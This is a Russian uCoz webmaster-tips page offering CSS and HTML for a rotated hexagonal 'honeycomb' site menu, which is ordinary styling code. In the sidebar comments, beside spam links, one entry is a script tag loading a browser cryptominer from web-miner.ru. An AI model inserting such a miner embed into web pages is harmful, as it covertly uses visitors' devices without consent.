Пятница, 19.01.2018, 16:24
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Наш опрос
Пользуютесь ли вы переводчиком у нас на сайте?


Всего ответов: 1187

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 21
Гостей: 21
Пользователей: 0


Зарегистрировано 30497 (сегодня + 1 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Меню для uCoz сайта » Добавлено [17.06.2013, 14:49]

Меню окружное в стиле сот для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Очень необычное и красивое меню для uCoz порталов. Это меню создано на базе двухмерных изменений, без использования скриптов. Весь код можно легко отредактировать и настроить под себя и под свой сайт. Меню
выглядит так же как и на картинке. Устанавливаем редактируем и
отписываемся в этой теме в комментариях, чтобы люди знали как всё
работает и как что подправить возможно нужно.

  • Вас интересует раскрутка в сети или разработка сайтов? Тогда посетите портал www.weebest.info на котором есть уйма интересного на эти тематики!
Код
<style>
ul.hex {padding:0; margin:150px auto; list-style:none; width:104px; height:60px; position:relative;}  
ul.hex li a {display:block; width:104px; height:60px; position:absolute; left:0; top:0; z-index:100; text-align:center; text-decoration:none; font:normal 20px/60px 'Neucha', cursive; color:#fff;
text-shadow: rgba(0,0,0,0.8) 0px 2px 2px;
}
ul.hex li a:before {display:block; content:""; width:104px; height:60px; position:absolute; left:0; top:0; z-index:-1;
-webkit-transform: rotate(60deg);
-moz-transform: rotate(60deg);
-ms-transform: rotate(60deg);
-o-transform: rotate(60deg);
transform: rotate(60deg);
}
ul.hex li a:after {display:block; content:""; width:104px; height:60px; position:absolute; left:0; top:0; z-index:-1;
-webkit-transform: rotate(-60deg);
-moz-transform: rotate(-60deg);
-ms-transform: rotate(-60deg);
-o-transform: rotate(-60deg);
transform: rotate(-60deg);
}ul.hex li:nth-child(1) a,
ul.hex li:nth-child(1) a:before,
ul.hex li:nth-child(1) a:after {background:#c60;
background-image: -webkit-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -moz-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -ms-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -o-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
}
ul.hex li:not(:first-child) a,
ul.hex li:not(:first-child) a:before,
ul.hex li:not(:first-child) a:after {background-color:#c00;
background-image: -webkit-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -moz-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -ms-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: -o-radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
background-image: radial-gradient(circle cover, rgba(255,255,255,0.9), rgba(255,255,255,0) 65%, rgba(0,0,0,1) 68%, rgba(128,128,128,1) 75%, rgba(0,0,0,1) 95%);
}
ul.hex li:nth-child(1) a:hover,
ul.hex li:nth-child(1) a:hover:before,
ul.hex li:nth-child(1) a:hover:after {background-color:#fa0; color:#000;}
ul.hex li:not(:first-child) a:hover,
ul.hex li:not(:first-child) a:hover:before,
ul.hex li:not(:first-child) a:hover:after {background-color:#0a0; color:#000;}
ul.hex li {width:104px; height:60px; position:absolute; left:106px; top:0;
-webkit-transform-origin: -54px 30px;
-moz-transform-origin: -54px 30px;
-ms-transform-origin: -54px 30px;
-o-transform-origin: -54px 30px;
transform-origin: -54px 30px;
}
ul.hex li:nth-child(1) {left:0;}
ul.hex li:nth-child(3) {
-webkit-transform: rotate(60deg);
-moz-transform: rotate(60deg);
-ms-transform: rotate(60deg);
-o-transform: rotate(60deg);
transform: rotate(60deg);
}
ul.hex li:nth-child(3) a {
-webkit-transform: rotate(-60deg);
-moz-transform: rotate(-60deg);
-ms-transform: rotate(-60deg);
-o-transform: rotate(-60deg);
transform: rotate(-60deg);
}
ul.hex li:nth-child(4) {
-webkit-transform: rotate(120deg);
-moz-transform: rotate(120deg);
-ms-transform: rotate(120deg);
-o-transform: rotate(120deg);
transform: rotate(120deg);
}
ul.hex li:nth-child(4) a {
-webkit-transform: rotate(-120deg);
-moz-transform: rotate(-120deg);
-ms-transform: rotate(-120deg);
-o-transform: rotate(-120deg);
transform: rotate(-120deg);
}
ul.hex li:nth-child(5) {
-webkit-transform: rotate(180deg);
-moz-transform: rotate(180deg);
-ms-transform: rotate(180deg);
-o-transform: rotate(180deg);
transform: rotate(180deg);
}
ul.hex li:nth-child(5) a {
-webkit-transform: rotate(-180deg);
-moz-transform: rotate(-180deg);
-ms-transform: rotate(-180deg);
-o-transform: rotate(-180deg);
transform: rotate(-180deg);
}
ul.hex li:nth-child(6) {
-webkit-transform: rotate(240deg);
-moz-transform: rotate(240deg);
-ms-transform: rotate(240deg);
-o-transform: rotate(240deg);
transform: rotate(240deg);
}
ul.hex li:nth-child(6) a {
-webkit-transform: rotate(-240deg);
-moz-transform: rotate(-240deg);
-ms-transform: rotate(-240deg);
-o-transform: rotate(-240deg);
transform: rotate(-240deg);
}
ul.hex li:nth-child(7) {
-webkit-transform: rotate(300deg);
-moz-transform: rotate(300deg);
-ms-transform: rotate(300deg);
-o-transform: rotate(300deg);
transform: rotate(300deg);
}
ul.hex li:nth-child(7) a {
-webkit-transform: rotate(-300deg);
-moz-transform: rotate(-300deg);
-ms-transform: rotate(-300deg);
-o-transform: rotate(-300deg);
transform: rotate(-300deg);
}
</style>
<ul class="hex">
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
<li><a href="#">Menu</a></li>
</ul>




При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Меню окружное в стиле сот для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Меню для uCoz сайта | Добавил: scripts_for_ucoz | Теги: меню на сайт, крулое меню, Меню для ucoz, меню
Просмотров: 4725 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz